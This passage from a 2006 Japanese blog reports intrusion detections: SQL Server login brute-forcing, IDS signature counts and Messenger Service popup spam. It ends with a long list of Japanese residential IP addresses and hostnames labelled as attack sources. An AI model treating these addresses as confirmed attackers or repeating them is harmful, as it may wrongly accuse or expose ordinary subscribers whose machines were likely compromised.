アカウントとしては、saなどに対して、ランダムなIPアドレスからSQLサービスが起動しているサーバを探し出し、ログインしようとする試みになります。推測されやすいパスワードを設定している場合は、侵入を許してしまうことになる。

・攻撃の詳細

http://ameblo.jp/amaterasu/entry-10007276390.html

・検知件数

優先度	シグネチャ名	送信元件数	攻撃件数
Medium	SQL_Auth_Failed	5	132
High	SQL_Empty_Password	41	111
Low	SQL_Empty_Password_Failed	3	9
Low	SQL_Login	41	111

----------------------------
■MessengerServiceを利用したスパムの検知状況
----------------------------
・検知内容
マイクロソフトのMessenger Serviceを利用した、スパムメッセージを検知しました。

・攻撃の詳細

N/A

・検知件数

優先度	シグネチャ名	送信元件数	検知件数
Low	MSRPC_Popup_Message	95	1882

【サイバー犯罪事件簿】2006年01月07日

----------------------------
■あまてらす
----------------------------

あまてらすです。本日は、仲間と新春UNO大会へ行って来ます。

負けないように頑張らないとね。

----------------------------
■不正なアクセス(日本を送信元とした攻撃)
----------------------------

61.46.38.120 zaq3d2e2678.zaq.ne.jp
61.125.253.231 i253231.ppp.asahi-net.or.jp
210.132.194.21 p84c215.hrsmnt01.ap.so-net.ne.jp
210.147.225.215 FLA1Aag215.ngs.mesh.ad.jp
218.42.66.204 FLA1Acw204.tky.mesh.ad.jp
218.42.226.32 218-42-226-32.eonet.ne.jp
218.43.49.152 p3152-ipbf412marunouchi.tokyo.ocn.ne.jp
218.43.212.156 p1156-ipad02gifu.gifu.ocn.ne.jp
218.45.22.193 flets22-193.kamome.or.jp
218.45.54.20 fla03-020.wind.ne.jp
218.45.60.35 pshi35.wind.ne.jp
218.45.111.143 flets-a-west-24-143.dsn.jp
218.45.168.42 k168042.ppp.asahi-net.or.jp
218.45.174.30 k174030.ppp.asahi-net.or.jp
218.110.85.157 p6e559d.sigant01.ap.so-net.ne.jp
218.218.130.124 OFSfa-03p3-124.ppp11.odn.ad.jp
218.218.152.2 NWTfa-03p2-2.ppp11.odn.ad.jp
218.219.127.9 ppp2295.hakata07.bbiq.jp
218.219.247.105 l247105.ppp.asahi-net.or.jp
218.223.52.173 fla05-173.wind.ne.jp
218.223.220.245 u245.d220223218.ctt.ne.jp
218.225.193.228 usr032.bb001-04.nk2.im.wakwak.ne.jp
218.231.193.71 218.231.193.71.eo.eaccess.ne.jp
220.98.192.76 p4076-ipbf07fukuhanazo.fukushima.ocn.ne.jp
221.112.170.114 221x112x170x114.ap221.ftth.ucom.ne.jp
221.113.95.55 55.95.113.221.ap.yournet.ne.jp
221.113.107.162 162.107.113.221.ap.yournet.ne.jp
221.113.126.11 11.126.113.221.ap.yournet.ne.jp
221.113.126.84 84.126.113.221.ap.yournet.ne.jp
221.113.126.185 185.126.113.221.ap.yournet.ne.jp
221.113.127.38 38.127.113.221.ap.yournet.ne.jp
221.113.163.117 p2117-ipbf14aobadori.miyagi.ocn.ne.jp
221.113.164.23 p3023-ipbf14aobadori.miyagi.ocn.ne.jp
221.113.164.159 p3159-ipbf14aobadori.miyagi.ocn.ne.jp
221.113.164.194 p3194-ipbf14aobadori.miyagi.ocn.ne.jp
221.113.165.194 p4194-ipbf14aobadori.miyagi.ocn.ne.jp
221.113.172.10 p16010-adsau12honb8-acca.tokyo.ocn.ne.jp
221.113.199.249 p1249-freed01hon-sw1gw1.tokyo.ocn.ne.jp
221.113.200.55 p2055-freed01hon-sw1gw1.tokyo.ocn.ne.jp
221.113.202.227 p2227-freed01hon-sw1gw2.tokyo.ocn.ne.jp
221.113.203.156 p1156-freed01hon-sw1gw3.tokyo.ocn.ne.jp
221.113.205.34 p1034-freed01hon-sw1gw4.tokyo.ocn.ne.jp
221.113.210.69 p7069-air01hon128k.tokyo.ocn.ne.jp
221.113.211.142 p8142-air01hon128k.tokyo.ocn.ne.jp
221.113.213.14 p3014-air01honfc.tokyo.ocn.ne.jp
221.113.229.195 p1195-ipad12gifu.gifu.ocn.ne.jp
221.113.230.154 p2154-ipad12gifu.gifu.ocn.ne.jp
221.113.230.162 p2162-ipad12gifu.gifu.ocn.ne.jp
221.113.233.178 p5178-ipad12gifu.gifu.ocn.ne.jp
221.113.235.64 p1064-ipad55osakakita.osaka.ocn.ne.jp
221.113.236.168 p2168-ipad55osakakita.osaka.ocn.ne.jp
221.113.236.223 p2223-ipad55osakakita.osaka.ocn.ne.jp
221.113.239.100 p5100-ipad55osakakita.osaka.ocn.ne.jp
221.113.240.104 p6104-ipad55osakakita.osaka.ocn.ne.jp
221.113.245.147 p5147-ipad56osakakita.osaka.ocn.ne.jp
221.113.245.250 p5250-ipad56osakakita.osaka.ocn.ne.jp
221.113.247.96 p1096-ipbf04kamokounan.kagoshima.ocn.ne.jp
221.113.247.251 p1251-ipbf04kamokounan.kagoshima.ocn.ne.jp
221.113.248.19 p2019-ipbf04kamokounan.kagoshima.ocn.ne.jp
221.170.23.192 Dawji5DS08.osk.mesh.ad.jp
221.170.68.194 FLH1Aan194.sig.mesh.ad.jp
221.170.190.30 FLH1Aak030.ehm.mesh.ad.jp
221.171.237.133 eAc1Afs133.osk.mesh.ad.jp
221.184.82.108 p7108-ipad30funabasi.chiba.ocn.ne.jp
221.187.68.42 p3042-ipbf01hiraido.tochigi.ocn.ne.jp
221.188.102.157 p3157-ipad04koufu.yamanashi.ocn.ne.jp
221.190.9.126 p2126-ipbf06obiyama.kumamoto.ocn.ne.jp